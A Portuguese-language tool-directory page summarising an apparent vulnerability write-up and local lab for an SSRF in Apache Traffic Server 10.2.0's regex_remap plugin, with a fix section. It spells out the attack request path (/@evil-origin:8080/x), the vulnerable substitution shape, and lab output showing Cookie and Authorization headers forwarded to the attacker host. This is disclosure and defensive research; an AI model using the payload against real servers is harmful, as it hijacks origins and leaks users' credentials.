Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ats-regex-remap-userinfo — Apache Traffic Server 10.2.0 - Alta - Remoto - SSRF - regex_remap noslash $n userinfo tomada de controle de origem | Kitploit
Ferramentas/GitHubGitHub/abraxas/ats-regex-remap-userinfo
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebLabs e Prática
GitHubabraxas/ats-regex-remap-userinfo

ats-regex-remap-userinfo

Apache Traffic Server 10.2.0 - Alta - Remoto - SSRF - regex_remap noslash $n userinfo tomada de controle de origem

Ver Repositório
há 14 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Abraxas Labs - ats-regex-remap-userinfo

abraxaslabs.tech  ·  github.com/abraxas  ·  @abraxas_null  ·  [email protected]  ·  ats-regex-remap-userinfo

ats-regex-remap-userinfo

Classe: SSRF Alcance: Remoto

Apache Traffic Server 10.2.0 (b1df7334) - Apache Software Foundation

A substituição $n do regex_remap é concatenada em uma string e passada para TSUrlParse, que executa url_clear e então a analisa como uma URL completa. Uma captura que começa com @ é userinfo segundo a RFC 3986, portanto a origem do operador torna-se userinfo e o host do atacante torna-se a origem. Cookie e Authorization são encaminhados como o uid do ATS.

O restante é http://origin:port$1 (sem barra). O documentado http://origin/$1 permanece na origem do operador porque a barra encerra a authority. Plugin não carregado por padrão.

Isto não é a CVE-2026-58179 (VLA de url_len, agora LocalBuffer) nem a CVE-2026-22068 (o regex_map do núcleo é totalmente ancorado).

IDainda sem CVE
ClasseSSRF
AlcanceRemoto (HTTP não autenticado)
CWECWE-918
CVSSAlto: 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
ProdutoApache Traffic Server
Afetado10.2.0 (b1df7334b39a878971c376da849e8da4984918b6) regex_remap.so $n sem barra
Autenticaçãonenhuma. Plugin carregado. Subst http://origin:port$1.
LicençaGNU Affero GPL v3.0
Labapenas 127.0.0.1:18730. Imagem ats-10.2.0-lab:local.

Fixe a tag 10.2.0, commit b1df7334b39a878971c376da849e8da4984918b6. Imagem compilada a partir do código-fonte.

O que um atacante pode fazer

HTTP não autenticado para um vhost cujo remap carrega regex_remap.so com $n imediatamente após host:port, sem barra.

MétodoSinkPrivilégio
GET /@evil-origin:8080/x com subst http://good-origin:8080$1TSUrlParse após url_clear (regex_remap.cc:1159-1168, URL.cc:1313-1327)Integridade / SSRF (comprovado em lab): o ATS disca evil-origin:8080 como origem (userinfo=good-origin:8080). Cookie e Authorization encaminhados.
O mesmocorpo da origem do atacanteRecon (comprovado em lab): ATS-REGEX-REMAP-USERINFO-WITNESS retornado ao cliente. cookie-fwd=True authorization-fwd=True.
Subst documentada http://good-origin:8080/$1authority termina em /Fechado (comprovado em lab): permaneceu em good-origin.
Subst http://$1operador colocou $n na authoritySSRF (comprovado em lab): também alcançou evil-origin. Erro de operador diferente.

Comprovado em lab vs inferido: restante sem barra, documentado com barra permanece, dollar-at / dollar-host também evil, Cookie e Authorization encaminhados, controle /ok em good-origin: lab. O que a origem do atacante pode fazer com esses cabeçalhos é o que aquele host já é.

Requer: plugin regex_remap. Mapa com subst http://origin:port$1 (sem barra). remap_required permaneceu 1 (não é um open relay).

Superfície adjacente que permanece fechada

SuperfícieLab
Documentado http://origin/$1slash=good
Host do regex_map do núcleoRE_ANCHORED|RE_ENDANCHORED (CVE-2026-22068 fechada)
Pilha de url_lenLocalBuffer (CVE-2026-58179 fechada)
Open relay com remap_required: 0não usado
GET de CONTROLE /okgood-origin, sem witness

Como eu encontrei

regex_remap constrói uma string de destino a partir de $n e chama TSUrlParse sobre o conjunto inteiro. URL.cc @ é userinfo. Concatene http://good-origin:8080 + @evil-origin:8080/x e o parser faz exatamente o que a RFC 3986 diz.

Tentei primeiro a forma documentada. http://good-origin:8080/$1 com caminho /@evil-origin:8080/x torna-se http://good-origin:8080/@evil-origin:8080/x. A barra encerra a authority. Permaneceu em good-origin. Esse não é o resíduo.

Depois http://good-origin:8080$1 (sem barra). Destino http://good-origin:8080@evil-origin:8080/x. userinfo=good-origin:8080 host=evil-origin. Testemunho na origem maliciosa. Cookie e Authorization vieram junto.

Caminhos errados: registar a forma documentada com barra; tratar o core regex_map como este plugin; inflar a VLA url_len (corrigido); tratar http://$1 como o único resíduo (é um segundo erro de operador, não o do sem-barra).

Encenação: uma reverse shell. O oráculo é um corpo de origem mais Cookie / Authorization encaminhados.

Lab

python3 ats-regex-remap-userinfo-Abraxas-Labs.py

ou

cd lab
./run.sh

Loopback 127.0.0.1:18730 (origem maliciosa também publicada em 18731). Projeto Compose ats-regex-remap-userinfo. Imagem ats-10.2.0-lab:local. Três vhosts: slash / noslash / dollar. Testemunha ATS-REGEX-REMAP-USERINFO-WITNESS. Última linha:

SUCCESS ats-regex-remap-userinfo shape=noslash leftover=noslash http://good-origin:8080$1 (userinfo=good-origin:8080 host=evil-origin) slash=good noslash=evil dollar-at=evil dollar-host=evil cookie-fwd=True authorization-fwd=True control=/ok ATS-REGEX-REMAP-USERINFO-WITNESS

A correção

Não concatene $n na authority. Mantenha uma barra entre o host e a captura, ou analise a substituição como apenas caminho. Rejeite um destino cujo host não seja a origem do operador. Remova o userinfo das URLs construídas pelo plugin. A documentação deve parar de sugerir que http://origin/$1 é a única forma que os operadores escrevem.

Referências

  • github.com/apache/trafficserver tag 10.2.0 (b1df7334b39a878971c376da849e8da4984918b6)
  • regex_remap.cc TSUrlParse após a substituição
  • URL.cc @ userinfo
  • InkAPI.cc TSUrlParse
  • CWE-918
Baixar ferramenta